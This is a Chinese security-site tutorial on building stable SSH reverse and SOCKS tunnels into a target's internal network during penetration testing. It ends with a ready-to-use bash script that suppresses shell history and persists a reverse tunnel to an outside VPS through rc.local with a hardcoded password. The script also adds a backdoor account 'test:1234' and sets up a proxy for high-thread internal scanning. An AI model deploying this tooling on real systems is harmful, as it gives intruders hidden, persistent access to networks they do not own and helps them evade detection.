ssh代理
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
【技术分享】SSH如何反向代理稳定穿透内网
阅读量 167566 | 稿费 400
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-08-10 15:18:55
http://p0.qhimg.com/t0177cd0ed01d76de08.png
作者:RootClay
预估稿费:400RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
最近在测试一些站点,总是需要进入到对方内网,而使用的代理工具多为不稳定工具,就连ssh也会断掉,这篇文章分享一下SSH的反向代理,最下面准备啦一个简单的脚本。
0x01 引言
早期我们可能会采用HTTP Proxy代理,在浏览器上设置下代理服务器的IP、端口、认证账户和密码。但有些软件的网络通信数据并不是HTTP协议,就需要寻找其它方法。
SOCKS代理是个不错的解决方案,不管应用层是什么协议,只要是传输层是TCP协议就可以代理。SOCKS代理中最新的协议是SOCKS5。相对SOCKS4作了大幅度的增强。
首先,它增加了对UDP协议的支持;其次,可支持多种用户身份验证方式和通信加密方式;最后,修改了SOCKS服务器进行域名解析的方法,使其更加优雅。
0x02 Socks建立
关于内网的代理工具前人已经总结很多了比如这篇文章内网漫游之SOCKS代理大结局,那我就不多说这些工具了。
稳定SOCKS代理SSH
SSH当之无愧是目前最稳定的代理方式之一,大家用它比较多,但是我们常用的还是他的最简单的转发与正向代理的建立,这里把SSH反向代理分享与大家,不用再为渗透中不稳定的网络而烦恼。
转发
我们常用的是下面的命令,但只能够比较麻烦的访问到已经转发端口上
1. ssh -CfNg -R 2222:127.0.0.1:22 VPS-user@VPS -p 53 //内网
2. ssh -CfNg -L 8080:127.0.0.1:2222 VPS-user@VPS //VPS 本地访问VPS:8080就是内网的22端口
-C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
-f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
socks正向代理
下面的方式可以用与你与DMZ区的机器通信,但是如果不能直接访问的内网机器便行不通了。
ssh -qTfnN -D port remotehost
在本地终端中运行
ssh -qTfnN -D 6080 user@theserver
然后在浏览器或者软件中设置好代理参数
socks5: 127.0.0.1:6080 后便可以使用.
-q:静默运行
其实已经很明显了,反向代理就是把上面提到的两个隧道连接在一起,怎么连接呢?
socks反向代理
那么重点来了,如何建立反向代理呢?其实就是把正向代理和转发结合起来即可:
这里为了方便描述,截了几个图,画得丑见笑了…:
http://p4.qhimg.com/t01b8a7b14e7163af3a.png
第一步,还是先通过内网机器反向连接VPS:
ssh -p 22 -qngfNTR 6666:localhost:22 VPS-user@VPS
这样就把本地的22端口转发到了远程机器(VPS)的6666端口
查看图中Server机器的进程:
http://p5.qhimg.com/t014eec4d38492cea12.png
Server机器转发:
http://p9.qhimg.com/t01e60b6b619467eaf5.png
此时到vps上查看已经在6666端口开始监听了
http://p2.qhimg.com/t01e8b61b65097925b1.png
第二步,你自己的PC机器直接使用语句:
ssh -p 6666 -qngfNTD 6767 内网用户@VPS
这样就可以直接穿透网络,进入到内网,本地机器直接使用代理127.0.0.1:6767便能够直接访问到内网当中
本地远程访问:
http://p9.qhimg.com/t01d9ee5a42babaeded.png
在Server上开启80端口服务
http://p0.qhimg.com/t0191ba6137f6267c60.png
配置代理:
http://p2.qhimg.com/t0189f1ad2df373e654.png
访问:
http://p8.qhimg.com/t01bb73f70b77fec6ae.png
进阶配置
那么问题来了,用过SSH的代理的朋友应该知道,我们第一步使用的连接方式在VPS监听的6666端口应该是监听在localhost上的,那么在第一步之前就应该修改一些配置了:在VPS的ssh配置当中加入如下配置GatewayPorts yes,这里是指远程转发过来的端口监听在0.0.0.0上。当然也可以你再在VPS本地转发一次即可。
这样就完了吗?当然没有,经过测试,我们是无法让这个代理保持一直在线的,SSH在一定时间没有任何的操作后就会自动的断开,那么我们同样再次修改配置文件:
找到 ClientAliveInterval 0和ClientAliveCountMax 3并将注释符号("#")去掉, 将ClientAliveInterval对应的0改成60,ClientAliveInterval指定了服务器端向客户端请求消息的时间间隔, 默认是0,不发送. ClientAliveInterval 60表示每分钟发送一次, 然后客户端响应, 这样就保持长连接了. ClientAliveCountMax, 使用默认值3即可.ClientAliveCountMax表示服务器发出请求后客户端没有响应的次数达到一定值, 就自动断开. 这样的配置就能让一个SSH的配置保持长连接了,代理就能稳定的在线。那么这样是需要每次都输入密码而且每次输入一大堆命令很麻烦,这里写了一个简单的CentOS上使用脚本来开启代理。
#!/usr/bin/env bash
#author: rootclay
export HISTSIZE=0
#install
cd /etc/yum.repos.d/
wget http://download.opensuse.org/repositories/home:Strahlex/CentOS_CentOS-6/home:Strahlex.repo
yum install -y sshpass
yum install -y screen
mkdir /tmp/mongo && chown $(whoami):$(whoami) /tmp/mongo
sudo tee /tmp/mongo/daemon.sh <<-'EOF'
#!/usr/bin/env bash
while:
do
/usr/bin/sshpass -p 你的VPS密码 ssh -p 22 -qngfNTR 6770:localhost:22
VPS-user@VPS -o StrictHostKeyChecking=no
sleep 18000
ps -ef | grep qngfNTR | awk '{print $2}' | xargs kill -9
done
EOF
chmod +x /tmp/mongo/daemon.sh
echo "screen -dmS test /tmp/mongo/daemon.sh" >> /etc/rc.d/rc.local
screen -dmS socks /tmp/mongo/daemon.sh
useradd test;echo 'test:1234' | chpasswd
/usr/local/bin/sshpass -p "1234" ssh -p 6770 -qngfNTD 6770 test@VPS -o
StrictHostKeyChecking=no
本地执行执行这条命令即可,代理设置为127.0.0.1:6770即可进入内网
这样建立起来的socks网络是非常的稳定的,搭建了之后可以试一试开扫描器扫一扫,高线程都不会掉。。。而前面使用的比如EW之类的。。。一扫就挂=。=,这个开个高线程完全没问题。
本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/86596
安全客 - 有思想的安全新媒体
安全知识
香山 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
2018安恒杯11月赛-Web&Crypto题解
2018-11-26 10:02:02
U2F安全协议分析
2018-11-24 10:00:48
二十年重回首——CIH病毒源码分析
2018-11-23 15:20:19
Cookie Maker:隐藏在Google Docs中的恶意网络
2018-11-23 14:30:40
|发表评论
发表你的评论吧
昵称
带头大哥
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
香山
~~~~
文章
7
粉丝
15
TA的文章
Powershell攻击指南黑客后渗透之道系列
2017-12-10 19:03:46
Powershell攻击指南黑客后渗透之道系列——实战篇
2017-12-06 17:22:13
Powershell攻击指南黑客后渗透之道系列——进阶利用
2017-12-04 16:30:51
Powershell攻击指南黑客后渗透之道系列——基础篇
2017-11-30 16:52:27
【技术分享】SSH如何反向代理稳定穿透内网
2017-08-10 15:18:55
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank
文章评论